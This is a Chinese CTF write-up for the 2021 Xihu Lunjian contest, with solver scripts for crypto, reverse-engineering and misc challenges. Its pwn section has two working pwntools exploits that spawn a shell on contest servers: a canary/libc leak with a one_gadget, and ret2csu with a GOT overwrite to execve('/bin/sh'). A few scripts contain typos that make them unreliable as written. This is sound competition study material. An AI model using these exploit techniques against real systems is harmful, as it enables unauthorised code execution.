2021 西湖论剑 部分wp
2021 西湖论剑 部分wp
太难了！！！大部分都解不出，无限期更吧。。。
misc
真·签到
签到
YUSA的小秘密
师弟发现用ste打开能看到flag，但是不完整，噪点太多了，然后就是查资料，查到一篇，https://cloud.tencent.com/developer/article/1841652，
里面提到的字节的一个ctf，看了wp，发现能转为YCrCb，拆分3通道，这样噪点会减少，就能看到flag
from cv2 import *
img = cv2.imread('Yusa.png')
cv_color = cv2.cvtColor(img, cv2.COLOR_BGR2YCrCb)
r,g,b = cv2.split(cv_color)
cv2.imwrite('r.png', (r % 2) * 255)
Yusa的秘密
取证，待复现
二向化的flag
未解出
Global Noise
未解出
crypto
密码人集合
算是签到题吧，nc连上后，很像是一个数独的游戏，我猜想是把汉字和数字一一对应，然后解出来，将9个九方格的数字换为汉字输入，得到flag
西湖论剑我要拿第一 分别对应：1 2 3 4 5 6 7 8 9
解出数字后，写个写脚本处理一下即可
# coding:gbk
a = {1:'西',2:'湖',3:'论',4:'剑',5:'我',6:'要',7:'拿',8:'第',9:'一'}
b = '214568793358479621796321854321859476594763182678412539642185937935247816187963245'
for i in b:
print(a[int(i)],end='')
unknown_dsa
from Crypto.Util.number import *
from Crypto.PublicKey import DSA
from Crypto.Hash import SHA
from gmpy2 import invert,powmod
import random
from secret import flag,m1,m2,ul,vl,wl
def encrypt():
key = DSA.generate(int(1024))
q = key.q
p = key.p
g = key.g
x1 = bytes_to_long(flag[:len(flag)//2])
x2 = bytes_to_long(flag[len(flag)//2:])
assert x1<q and x2<q
t = powmod(g, p*q-(p+q), p*q)
hm1 = bytes_to_long(SHA.new(m1).digest())
hm2 = bytes_to_long(SHA.new(m2).digest())
k = random.randint(1, q-1)
r1 = powmod(g, k, p) % q
s1 = (hm1 + x1*r1) * invert(k, q) % q
s2 = (hm2 + x1*r1) * invert(k, q) % q
r2 = powmod(g, x1, p) % q
s3 = (hm1 + x2*r2) * invert(k, q) % q
print(p*q, (p-1)//q, t, sep=', ')
print(r1, s1, s2, sep=', ')
print(r2, s3, sep=', ')
def main():
for i in range(len(ul)):
assert ul[i]**2 - wl[i]* vl[i]**2==1
e = 7
cl1 = [int(powmod(bytes_to_long(m1), e, x)) for x in ul]
cl2 = [int(powmod(bytes_to_long(m2), e, y)) for y in vl]
print(wl, cl1, cl2, sep=', ')
encrypt()
if __name__ == '__main__':
main()
'''
[3912956711, 4013184893, 3260747771], [2852589223779928796266540600421678790889067284911682578924216186052590393595645322161563386615512475256726384365091711034449682791268994623758937752874750918200961888997082477100811025721898720783666868623498246219677221106227660895519058631965055790709130207760704, 21115849906180139656310664607458425637670520081983248258984166026222898753505008904136688820075720411004158264138659762101873588583686473388951744733936769732617279649797085152057880233721961, 301899179092185964785847705166950181255677272294377823045011205035318463496682788289651177635341894308537787449148199583490117059526971759804426977947952721266880757177055335088777693134693713345640206540670123872210178680306100865355059146219281124303460105424], [148052450029409767056623510365366602228778431569288407577131980435074529632715014971133452626021226944632282479312378667353792117133452069972334169386837227285924011187035671874758901028719505163887789382835770664218045743465222788859258272826217869877607314144, 1643631850318055151946938381389671039738824953272816402371095118047179758846703070931850238668262625444826564833452294807110544441537830199752050040697440948146092723713661125309994275256, 10949587016016795940445976198460149258144635366996455598605244743540728764635947061037779912661207322820180541114179612916018317600403816027703391110922112311910900034442340387304006761589708943814396303183085858356961537279163175384848010568152485779372842]
85198615386075607567070020969981777827671873654631200472078241980737834438897900146248840279191139156416537108399682874370629888207334506237040017838313558911275073904148451540255705818477581182866269413018263079858680221647341680762989080418039972704759003343616652475438155806858735982352930771244880990190318526933267455248913782297991685041187565140859, 106239950213206316301683907545763916336055243955706210944736472425965200103461421781804731678430116333702099777855279469137219165293725500887590280355973107580745212368937514070059991848948031718253804694621821734957604838125210951711527151265000736896607029198, 60132176395922896902518845244051065417143507550519860211077965501783315971109433544482411208238485135554065241864956361676878220342500208011089383751225437417049893725546176799417188875972677293680033005399883113531193705353404892141811493415079755456185858889801456386910892239869732805273879281094613329645326287205736614546311143635580051444446576104548
498841194617327650445431051685964174399227739376, 376599166921876118994132185660203151983500670896, 187705159843973102963593151204361139335048329243
620827881415493136309071302986914844220776856282, 674735360250004315267988424435741132047607535029
'''
逆行思维，首先看到flag被拆为x1,x2,后面和x1,x2有关系的是hm1和hm2，hm1和hm2又和m1,m2有关系，最后m1,m2和cl1，cl12有关，并且已知，尝试能否求出
看到 assert ul[i]**2 - wl[i]* vl[i]**2==1,联想可以用佩尔方程来解得到ul，vl，解出来后广播攻击可以得到m1,m2，然后可以得到hm1和hm2，p和q也可以通过已知条件求出，到此，所有的条件都已知，即可得到flag
def pell(n,numTry = 1000):
cf = continued_fraction(sqrt(n))
for i in range (numTry):
vl = cf.denominator (i)
ul = cf.numerator (i)
if ul**2 - n * vl**2 == 1:
#sols.append((ZZ(ul) , ZZ(vl)))
return ul,vl
sols = zip(ul,vl)
return sols
wl, cl1, cl2 = [3912956711, 4013184893, 3260747771], [2852589223779928796266540600421678790889067284911682578924216186052590393595645322161563386615512475256726384365091711034449682791268994623758937752874750918200961888997082477100811025721898720783666868623498246219677221106227660895519058631965055790709130207760704, 21115849906180139656310664607458425637670520081983248258984166026222898753505008904136688820075720411004158264138659762101873588583686473388951744733936769732617279649797085152057880233721961, 301899179092185964785847705166950181255677272294377823045011205035318463496682788289651177635341894308537787449148199583490117059526971759804426977947952721266880757177055335088777693134693713345640206540670123872210178680306100865355059146219281124303460105424], [148052450029409767056623510365366602228778431569288407577131980435074529632715014971133452626021226944632282479312378667353792117133452069972334169386837227285924011187035671874758901028719505163887789382835770664218045743465222788859258272826217869877607314144, 1643631850318055151946938381389671039738824953272816402371095118047179758846703070931850238668262625444826564833452294807110544441537830199752050040697440948146092723713661125309994275256, 10949587016016795940445976198460149258144635366996455598605244743540728764635947061037779912661207322820180541114179612916018317600403816027703391110922112311910900034442340387304006761589708943814396303183085858356961537279163175384848010568152485779372842]
ul = []
vl = []
for i in range(len(wl)):
a = pell(wl[i])
ul.append(a[0])
vl.append(a[1])
print(ul)
print(vl)
c1=crt(cl1,ul)
c2=crt(cl2,vl)
PR.<x>=PolynomialRing(ZZ)
f=x^7-c1
m1=int(f.roots()[0][0])
f=x^7-c2
m2=int(f.roots()[0][0])
print(m1)
print(m2)
得到flag的代码如下
from gmpy2 import *
from Crypto.Util.number import *
from Crypto.Hash import SHA
pq,p_1_q = 85198615386075607567070020969981777827671873654631200472078241980737834438897900146248840279191139156416537108399682874370629888207334506237040017838313558911275073904148451540255705818477581182866269413018263079858680221647341680762989080418039972704759003343616652475438155806858735982352930771244880990190318526933267455248913782297991685041187565140859, 106239950213206316301683907545763916336055243955706210944736472425965200103461421781804731678430116333702099777855279469137219165293725500887590280355973107580745212368937514070059991848948031718253804694621821734957604838125210951711527151265000736896607029198
p = iroot(pq*p_1_q+1//4,2)[0]+1//2
q = pq//p
m1 = 8382905590662478666595114136929713707132131361720892331048437274828529226704174
m2 = 10336852405630488944198347577475266693234960398137850045398990629116544863921454
hm1 = bytes_to_long(SHA.new(long_to_bytes(m1)).digest())
hm2 = bytes_to_long(SHA.new(long_to_bytes(m2)).digest())
r1,s1,s2,r2,s3 = 498841194617327650445431051685964174399227739376,376599166921876118994132185660203151983500670896, 187705159843973102963593151204361139335048329243,620827881415493136309071302986914844220776856282,674735360250004315267988424435741132047607535029
k=(hm2-hm1)*inverse(s2-s1,q)%q
x1=(s2*k-hm2)*inverse(r1,q)%q
x2=(s3*k-hm1)*inverse(r2,q)%q
print(long_to_bytes(x1)+long_to_bytes(x2))
hardrsa
from Crypto.Util.number import *
import gmpy2
from secret import flag
p = getPrime(512)
q = getPrime(512)
n = p**4*q
e = 65537
phi = gmpy2.lcm(p - 1, q - 1)
d = gmpy2.invert(e, phi)
dp = d % (p - 1)
m = bytes_to_long(flag)
c = pow(m, e, n)
print ("dp = " + str(dp))
print ("c = " + str(c))
y = 449703347709287328982446812318870158230369688625894307953604074502413258045265502496365998383562119915565080518077360839705004058211784369656486678307007348691991136610142919372779782779111507129101110674559235388392082113417306002050124215904803026894400155194275424834577942500150410440057660679460918645357376095613079720172148302097893734034788458122333816759162605888879531594217661921547293164281934920669935417080156833072528358511807757748554348615957977663784762124746554638152693469580761002437793837094101338408017407251986116589240523625340964025531357446706263871843489143068620501020284421781243879675292060268876353250854369189182926055204229002568224846436918153245720514450234433170717311083868591477186061896282790880850797471658321324127334704438430354844770131980049668516350774939625369909869906362174015628078258039638111064842324979997867746404806457329528690722757322373158670827203350590809390932986616805533168714686834174965211242863201076482127152571774960580915318022303418111346406295217571564155573765371519749325922145875128395909112254242027512400564855444101325427710643212690768272048881411988830011985059218048684311349415764441760364762942692722834850287985399559042457470942580456516395188637916303814055777357738894264037988945951468416861647204658893837753361851667573185920779272635885127149348845064478121843462789367112698673780005436144393573832498203659056909233757206537514290993810628872250841862059672570704733990716282248839
g = 2
x = 2019*p**2 + 2020*p**3 + 2021*p**4
c1 = pow(g, x, y)
print( "c1 = " + str(c1))
# dp = 379476973158146550831004952747643994439940435656483772269013081580532539640189020020958796514224150837680366977747272291881285391919167077726836326564473
# c = 57248258945927387673579467348106118747034381190703777861409527336272914559699490353325906672956273559867941402281438670652710909532261303394045079629146156340801932254839021574139943933451924062888426726353230757284582863993227592703323133265180414382062132580526658205716218046366247653881764658891315592607194355733209493239611216193118424602510964102026998674323685134796018596817393268106583737153516632969041693280725297929277751136040546830230533898514659714717213371619853137272515967067008805521051613107141555788516894223654851277785393355178114230929014037436770678131148140398384394716456450269539065009396311996040422853740049508500540281488171285233445744799680022307180452210793913614131646875949698079917313572873073033804639877699884489290120302696697425
# c1 = 78100131461872285613426244322737502147219485108799130975202429638042859488136933783498210914335741940761656137516033926418975363734194661031678516857040723532055448695928820624094400481464950181126638456234669814982411270985650209245687765595483738876975572521276963149542659187680075917322308512163904423297381635532771690434016589132876171283596320435623376283425228536157726781524870348614983116408815088257609788517986810622505961538812889953185684256469540369809863103948326444090715161351198229163190130903661874631020304481842715086104243998808382859633753938512915886223513449238733721777977175430329717970940440862059204518224126792822912141479260791232312544748301412636222498841676742208390622353022668320809201312724936862167350709823581870722831329406359010293121019764160016316259432749291142448874259446854582307626758650151607770478334719317941727680935243820313144829826081955539778570565232935463201135110049861204432285060029237229518297291679114165265808862862827211193711159152992427133176177796045981572758903474465179346029811563765283254777813433339892058322013228964103304946743888213068397672540863260883314665492088793554775674610994639537263588276076992907735153702002001005383321442974097626786699895993544581572457476437853778794888945238622869401634353220344790419326516836146140706852577748364903349138246106379954647002557091131475669295997196484548199507335421499556985949139162639560622973283109342746186994609598854386966520638338999059
离散对数加上解方程是可以求出p，但是n并不知道，最开始想直接求q，但是求不出来，我们用已知条件尝试推导一下是否能求出明文
已知
dp = d mod (p - 1)
c = m^e mod n
引进参数dp,则有
c^dp = m^(e*dp) mod n
化简
c^dp = m^(e*dp) mod p
因为dp = d mod (p - 1)
可再化简为
c^dp = m^(e*d) mod p ******************1式子
因为题中出现了
phi = gmpy2.lcm(p - 1, q - 1)
d = gmpy2.invert(e, phi)
所以存在关系
e*d = 1 mod lcm(p - 1, q - 1)
即存在
e*d = 1 mod p - 1，e*d = k(p-1)+1,代入1式子
c^dp = m^(k(p-1)+1) mod p
c^dp = m+m^k(p-1) mod p ****************2式子
费马小定理化简一下，2式子变为
c^dp = m mod p
综上：仅知道dp和p,是可以求出m的
那么就是先求出前半部分即可，需要一段时间，我跑了12分钟（电脑废）
import sympy
from Crypto.Util.number import *
g = 2
y = 449703347709287328982446812318870158230369688625894307953604074502413258045265502496365998383562119915565080518077360839705004058211784369656486678307007348691991136610142919372779782779111507129101110674559235388392082113417306002050124215904803026894400155194275424834577942500150410440057660679460918645357376095613079720172148302097893734034788458122333816759162605888879531594217661921547293164281934920669935417080156833072528358511807757748554348615957977663784762124746554638152693469580761002437793837094101338408017407251986116589240523625340964025531357446706263871843489143068620501020284421781243879675292060268876353250854369189182926055204229002568224846436918153245720514450234433170717311083868591477186061896282790880850797471658321324127334704438430354844770131980049668516350774939625369909869906362174015628078258039638111064842324979997867746404806457329528690722757322373158670827203350590809390932986616805533168714686834174965211242863201076482127152571774960580915318022303418111346406295217571564155573765371519749325922145875128395909112254242027512400564855444101325427710643212690768272048881411988830011985059218048684311349415764441760364762942692722834850287985399559042457470942580456516395188637916303814055777357738894264037988945951468416861647204658893837753361851667573185920779272635885127149348845064478121843462789367112698673780005436144393573832498203659056909233757206537514290993810628872250841862059672570704733990716282248839
c1 = 78100131461872285613426244322737502147219485108799130975202429638042859488136933783498210914335741940761656137516033926418975363734194661031678516857040723532055448695928820624094400481464950181126638456234669814982411270985650209245687765595483738876975572521276963149542659187680075917322308512163904423297381635532771690434016589132876171283596320435623376283425228536157726781524870348614983116408815088257609788517986810622505961538812889953185684256469540369809863103948326444090715161351198229163190130903661874631020304481842715086104243998808382859633753938512915886223513449238733721777977175430329717970940440862059204518224126792822912141479260791232312544748301412636222498841676742208390622353022668320809201312724936862167350709823581870722831329406359010293121019764160016316259432749291142448874259446854582307626758650151607770478334719317941727680935243820313144829826081955539778570565232935463201135110049861204432285060029237229518297291679114165265808862862827211193711159152992427133176177796045981572758903474465179346029811563765283254777813433339892058322013228964103304946743888213068397672540863260883314665492088793554775674610994639537263588276076992907735153702002001005383321442974097626786699895993544581572457476437853778794888945238622869401634353220344790419326516836146140706852577748364903349138246106379954647002557091131475669295997196484548199507335421499556985949139162639560622973283109342746186994609598854386966520638338999059
#p_f = sympy.discrete_log(y,c1,g)
#print(p_f)
p_f = 43776275628859890575232443794319298551934804213472744927022818696759188901977390266973172755658396197421139420206549889337117978597883154859965236605452518446448639813055134133587564045471804447818058571586426895800984805588363855865218690877547419152765512143095217413477343835473963637692441032136163289964756172316289469159500312630529091350636808491697553069388388303341623047737553556123142002737059936569931163197364571478509576816349348146215101250803826590694039096063858424405382950769415272111843039715632655831594224288099608827345377164375927559338153505991404973888594356664393487249819589915881178770048740
c = 57248258945927387673579467348106118747034381190703777861409527336272914559699490353325906672956273559867941402281438670652710909532261303394045079629146156340801932254839021574139943933451924062888426726353230757284582863993227592703323133265180414382062132580526658205716218046366247653881764658891315592607194355733209493239611216193118424602510964102026998674323685134796018596817393268106583737153516632969041693280725297929277751136040546830230533898514659714717213371619853137272515967067008805521051613107141555788516894223654851277785393355178114230929014037436770678131148140398384394716456450269539065009396311996040422853740049508500540281488171285233445744799680022307180452210793913614131646875949698079917313572873073033804639877699884489290120302696697425
dp = 379476973158146550831004952747643994439940435656483772269013081580532539640189020020958796514224150837680366977747272291881285391919167077726836326564473
p = sympy.symbols("p")
p = sympy.solve([2019*p**2 + 2020*p**3 + 2021*p**4-p_f], [p])
m = pow(c,dp,int(p[0][0]))
print(long_to_bytes(m))
FilterRandom
未解出
SpecialCurve2
未解出
WienerStudyTwice
0解
reverse
ROP
32位程序，无壳，ida分析，逻辑非常简单，我截取主要部分
memset(&Dst, 0, 0x100u);
memset(Buf2, 0, 0x100u);
sub_401650("Input:");
sub_4016A0("%40s", &Dst);
if ( strlen(&Dst) != 40 )
exit(0);
for ( i = 0; i < 0x28; i += 8 )
{
for ( j = 0; j < 8; ++j )
{
v0 = ((*(&v2 + j) & *(&v16 + i)) << (8 - (3 - j) % 8u)) | ((*(&v2 + j) & (unsigned int)*(&v16 + i)) >> (3 - j) % 8u) | ((*(&v2 + j) & *(&v15 + i)) << (8 - (2 - j) % 8u)) | ((*(&v2 + j) & (unsigned int)*(&v15 + i)) >> (2 - j) % 8u) | ((*(&v2 + j) & *(&v14 + i)) << (8 - (1 - j) % 8u)) | ((*(&v2 + j) & (unsigned int)*(&v14 + i)) >> (1 - j) % 8u) | ((*(_BYTE *)(&v2 + j) & (unsigned __int8)*(&Dst + i)) << (8 - -j % 8u)) | ((*(&v2 + j) & (unsigned int)*(&Dst + i)) >> -j % 8u);
Buf2[j + i] = byte_405000[(unsigned __int8)(((*(_BYTE *)(&v2 + j) & (unsigned __int8)v20[i]) << (8 - (7 - j) % 8u)) | ((*(&v2 + j) & (unsigned int)v20[i]) >> (7 - j) % 8u) | ((*(&v2 + j) & *(&v19 + i)) << (8 - (6 - j) % 8u)) | ((*(&v2 + j) & (unsigned int)*(&v19 + i)) >> (6 - j) % 8u) | ((*(&v2 + j) & *(&v18 + i)) << (8 - (5 - j) % 8u)) | ((*(&v2 + j) & (unsigned int)*(&v18 + i)) >> (5 - j) % 8u) | ((*(&v2 + j) & *(&v17 + i)) << (8 - (4 - j) % 8u)) | ((*(&v2 + j) & (unsigned int)*(&v17 + i)) >> (4 - j) % 8u) | v0)];
}
}
if ( memcmp(&unk_405100, Buf2, 0x28u) )
{
puts("Wrong");
exit(0);
}
puts("Congratulations");
puts("flag is DASCTF{your input}");
从中看出就是算法比较麻烦，但是最后的结果我们是已知的，稍微整理一下
v0 =
((*(&v2 + j) & *(flag+3 + i)) << (8 - (3 - j) % 8u)) |
((*(&v2 + j) & *(flag+3 + i)) >> (3 - j) % 8u) |
((*(&v2 + j) & *(flag+2 + i)) << (8 - (2 - j) % 8u)) |
((*(&v2 + j) & *(flag+2 + i)) >> (2 - j) % 8u) |
((*(&v2 + j) & *(flag+1 + i)) << (8 - (1 - j) % 8u)) |
((*(&v2 + j) & *(flag+1 + i)) >> (1 - j) % 8u) |
((*(&v2 + j) & *(flag + i)) << (8 - -j % 8u)) |
((*(&v2 + j) & *(flag + i)) >> -j % 8u);
Buf2[j + i] = byte_405000[
((*(&v2 + j) & *(flag+7 + i) << (8 - (7 - j) % 8u) |
((*(&v2 + j) & *(flag+7 + i) >> (7 - j) % 8u) |
((*(&v2 + j) & *(flag+6 + i)) << (8 - (6 - j) % 8u)) |
((*(&v2 + j) & *(flag+6 + i)) >> (6 - j) % 8u) |
((*(&v2 + j) & *(flag+5 + i)) << (8 - (5 - j) % 8u)) |
((*(&v2 + j) & *(flag+5 + i)) >> (5 - j) % 8u) |
((*(&v2 + j) & *(flag+4 + i)) << (8 - (4 - j) % 8u)) |
((*(&v2 + j) & *(flag+4 + i)) >> (4 - j) % 8u) |
v0)];
z3解一下
from z3 import *
Buf2 = [0x65, 0x55, 0x24, 0x36, 0x9D, 0x71, 0xB8, 0xC8, 0x65, 0xFB, 0x87, 0x7F, 0x9A, 0x9C, 0xB1, 0xDF, 0x65, 0x8F, 0x9D, 0x39, 0x8F, 0x11, 0xF6, 0x8E, 0x65, 0x42, 0xDA, 0xB4, 0x8C, 0x39, 0xFB, 0x99, 0x65, 0x48, 0x6A, 0xCA, 0x63, 0xE7, 0xA4, 0x79]
byte_405000 = [0x65, 0x08, 0xF7, 0x12, 0xBC, 0xC3, 0xCF, 0xB8, 0x83, 0x7B, 0x02, 0xD5, 0x34, 0xBD, 0x9F, 0x33, 0x77, 0x76, 0xD4, 0xD7, 0xEB, 0x90, 0x89, 0x5E, 0x54, 0x01, 0x7D, 0xF4, 0x11, 0xFF, 0x99, 0x49, 0xAD, 0x57, 0x46, 0x67, 0x2A, 0x9D, 0x7F, 0xD2, 0xE1, 0x21, 0x8B, 0x1D, 0x5A, 0x91, 0x38, 0x94, 0xF9, 0x0C, 0x00, 0xCA, 0xE8, 0xCB, 0x5F, 0x19, 0xF6, 0xF0, 0x3C, 0xDE, 0xDA, 0xEA, 0x9C, 0x14, 0x75, 0xA4, 0x0D, 0x25, 0x58, 0xFC, 0x44, 0x86, 0x05, 0x6B, 0x43, 0x9A, 0x6D, 0xD1, 0x63, 0x98, 0x68, 0x2D, 0x52, 0x3D, 0xDD, 0x88, 0xD6, 0xD0, 0xA2, 0xED, 0xA5, 0x3B, 0x45, 0x3E, 0xF2, 0x22, 0x06, 0xF3, 0x1A, 0xA8, 0x09, 0xDC, 0x7C, 0x4B, 0x5C, 0x1E, 0xA1, 0xB0, 0x71, 0x04, 0xE2, 0x9B, 0xB7, 0x10, 0x4E, 0x16, 0x23, 0x82, 0x56, 0xD8, 0x61, 0xB4, 0x24, 0x7E, 0x87, 0xF8, 0x0A, 0x13, 0xE3, 0xE4, 0xE6, 0x1C, 0x35, 0x2C, 0xB1, 0xEC, 0x93, 0x66, 0x03, 0xA9, 0x95, 0xBB, 0xD3, 0x51, 0x39, 0xE7, 0xC9, 0xCE, 0x29, 0x72, 0x47, 0x6C, 0x70, 0x15, 0xDF, 0xD9, 0x17, 0x74, 0x3F, 0x62, 0xCD, 0x41, 0x07, 0x73, 0x53, 0x85, 0x31, 0x8A, 0x30, 0xAA, 0xAC, 0x2E, 0xA3, 0x50, 0x7A, 0xB5, 0x8E, 0x69, 0x1F, 0x6A, 0x97, 0x55, 0x3A, 0xB2, 0x59, 0xAB, 0xE0, 0x28, 0xC0, 0xB3, 0xBE, 0xCC, 0xC6, 0x2B, 0x5B, 0x92, 0xEE, 0x60, 0x20, 0x84, 0x4D, 0x0F, 0x26, 0x4A, 0x48, 0x0B, 0x36, 0x80, 0x5D, 0x6F, 0x4C, 0xB9, 0x81, 0x96, 0x32, 0xFD, 0x40, 0x8D, 0x27, 0xC1, 0x78, 0x4F, 0x79, 0xC8, 0x0E, 0x8C, 0xE5, 0x9E, 0xAE, 0xBF, 0xEF, 0x42, 0xC5, 0xAF, 0xA0, 0xC2, 0xFA, 0xC7, 0xB6, 0xDB, 0x18, 0xC4, 0xA6, 0xFE, 0xE9, 0xF5, 0x6E, 0x64, 0x2F, 0xF1, 0x1B, 0xFB, 0xBA, 0xA7, 0x37, 0x8F]
key = [128,64,32,16,8,4,2,1]
flag = [BitVec(f"flag[{i}]", 8) for i in range(40)]
s = Solver()
for i in range(0,0x28,8):
for j in range(8):
v0 = ((key[j] & flag[i + 3]) << (8 - (3 - j) % 8)) | ((key[j] & flag[i + 3]) >> ((3 - j) % 8)) | ((key[j] & flag[i + 2]) << (8 - (2 - j) % 8)) | ((key[j] & flag[i + 2]) >> ((2 - j) % 8)) | ((key[j] & flag[i + 1]) << (8 - (1 - j) % 8)) | ((key[j] & flag[i + 1]) >> ((1 - j) % 8)) | ((key[j] & flag[i]) << (8 - -j % 8)) | ((key[j] & flag[i]) >> (-j % 8))
Buf2_ = ((key[j] & flag[i + 7]) << (8 - (7 - j) % 8)) | ((key[j] & flag[i + 7]) >> ((7 - j) % 8)) | ((key[j] & flag[i + 6]) << (8 - (6 - j) % 8)) | ((key[j] & flag[i + 6]) >> ((6 - j) % 8)) | ((key[j] & flag[i + 5]) << (8 - (5 - j) % 8)) | ((key[j] & flag[i + 5]) >> ((5 - j) % 8)) | ((key[j] & flag[i + 4]) << (8 - (4 - j) % 8)) | ((key[j] & flag[i + 4]) >> ((4 - j) % 8))
s.add(v0 | Buf2_ == byte_405000.index(Buf2[i+j]))
assert s.check() == sat
m = s.model()
finflag = []
for i in flag:
finflag.append(chr(m[i].as_long()))
print(''.join(finflag))
gghdl
未解出
TacticalArmed
ida分析没发现什么，后面突然看到存在一个tls回调函数
跟进StartAddress函数
发现int 2dh，这个是个反调试，在调试的时候不会去抛出异常，正常执行的时候抛出异常，也就是说需要抛出异常才是正常情况，可能那里藏了什么，跟踪一下
看到数组赋值了四个值，我将int 2dh改为int 3，动态调试发现很奇怪的地方
跟进后发现每次循环，里面的指令都不一样，这里应该是一个动态解码的过程，多条指令分析这个算法应该为tea算法，确定delta为0x81A5692e
写解密算法脚本
#include <stdint.h>
#include <stdio.h>
void decrypt(uint32_t* v, uint32_t* k,int z) {
uint32_t v0 = v[0], v1 = v[1], sum = 0x81A5692e*33*(z+1), i;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 33; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= 0x81A5692e;
}
v[0] = v0;
v[1] = v1;
}
int main()
{
uint32_t key[] = {0x7CE45630, 0x58334908, 0x66398867, 0x0C35195B1};
int8_t ida_chars[40] ={0xED, 0x1D, 0x2F, 0x42, 0x72, 0xE4, 0x85, 0x14, 0xD5, 0x78, 0x55, 0x03, 0xA2, 0x80, 0x6B, 0xBF, 0x45, 0x72, 0xD7, 0x97, 0xD1, 0x75, 0xAE, 0x2D, 0x63, 0xA9, 0x5F, 0x66, 0x74, 0x6D, 0x2E, 0x29, 0xC1, 0xFC, 0x95, 0x97, 0xE9, 0xC8, 0xB5, 0x0B};
int i,j;
for (i = 0,j=0; i < 40,j < 5; i += 8,j++)
{
decrypt((uint32_t*)(ida_chars + i), key , j);
}
printf("%s\n",ida_chars);
}
虚假的粉丝
我还以为是misc，ida分析
内容比较简单，先找到密钥，密钥是藏在文件里面，需要找到符合条件的那个文件
root@kali:~/LibcSearcher# grep -E "U.{38}S" *.txt
ASCII-faded 4157.txt:aaZ8088aaZ88B008BBBBB8888Z088Z8ZZZaX8@WBWW@W@W@W@W@WWWWBWBBB@@UzNDcmU3X0szeSUyMCUzRCUyMEFsNE5fd0FsSzNSWMa ............,.,.,.,,,,:
然后取前40位
UzNDcmU3X0szeSUyMCUzRCUyMEFsNE5fd0FsSzNS
base64和url解码后得到
S3Cre7_K3y = Al4N_wAlK3R
然后将运行程序，输入文件名，偏移，字符串长度，密钥，得到解密后的5315.txt，得到flag
pwn
string_go
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位程序，保护全开（c++伪代码看起来很费劲）
这里没有检查输入的值的大小，输入为-1即可溢出
但是保护全开，得先泄露一下cannry
from pwn import *
context(os = "linux", arch = "amd64",log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']
#r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/ld-2.27.so','./string_go_libc-2.27.so'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so'})
r = remote('82.157.20.104',xxxx)
r.recvuntil('>>> ')
r.sendline('1+2')
r.recvuntil('>>> ')
r.sendline('-1')
r.recvuntil('>>> ')
r.sendline('hhh')
r.recvuntil('>>> ')
r.sendline('1')
r.recv(0x28)
libc_base = =u64(r.recv(8))-0x730157
r.recv(8)
canary=u64(r.recv(8))
one_gadget = libc_base+0x4f3d5
payload = 'a'*0x18+p64(canary)+'a'*0x18+p64(one_gadget)
r.sendline(payload)
#gdb.attach(r)
r.interactive()
blind
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
只开启nx保护，程序很简单
ssize_t __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-50h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(8u);
sleep(3u);
return read(0, &buf, 0x500uLL);
}
没有后门函数，也没有相关的输出函数，但是存在alerm函数，这个是个突破口，看一下寄存器，可以构造特定的payload，因为alarm和syscall地址就差了5，可以修改一个字节，让alarm地址变为syscall，然后传入rax
除了但是不同版本的libc，alarm最低位是不一样的，除非爆破，提示是说不用爆破。。可能存在更简单的解法吧
from pwn import *
context(os = "linux", arch = "amd64",log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']
#r = process('./blind')
r = remote('"82.157.6.165"',xxx)
elf = ELF('./blind')
read_got = elf.got['read']
alarm_got = elf.got['alarm']
pop = 0x4007BA
mov = 0x4007A0
bss = 0x601088
def makepayload(rbx, rbp, r12, r13, r14, r15):
payload = p64(pop)+p64(rbx)+p64(rbp)
payload += p64(r12)
payload += p64(r13)+p64(r14)+p64(r15)
payload += p64(mov)
payload += 'a'*0x38
return payload
payload = 'a'*(0x50+8)
payload += makepayload(0,1,r12=read_got,r13=1,r14=alarm_got,r15=0)
payload += makepayload(0,1,r12=read_got,r13=59,r14=bss,r15=0)
payload += makepayload(0,1,r12=alarm_got,r13=0,r14=0,r15=bss)
payload += '\x00'*(0x500-len(payload))
r.send(payload)
#r.send('\x15')
r.send('\xd5')
r.send('/bin/sh\x00'+'a'*(59-8))
#gdb.attach(r)
r.interactive()
code_project
未解开
easykernel
内核题，未解开
SimpleDecoder
未解开
TinyNote
未解开
web
灏妹的web
扫描目录得到： /.idea/dataSources.xml
访问得到flag
其他
非web选手，见其他师傅wp
作者：寒江寻影
本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须在文章页面给出原文链接，否则保留追究法律责任的权利。
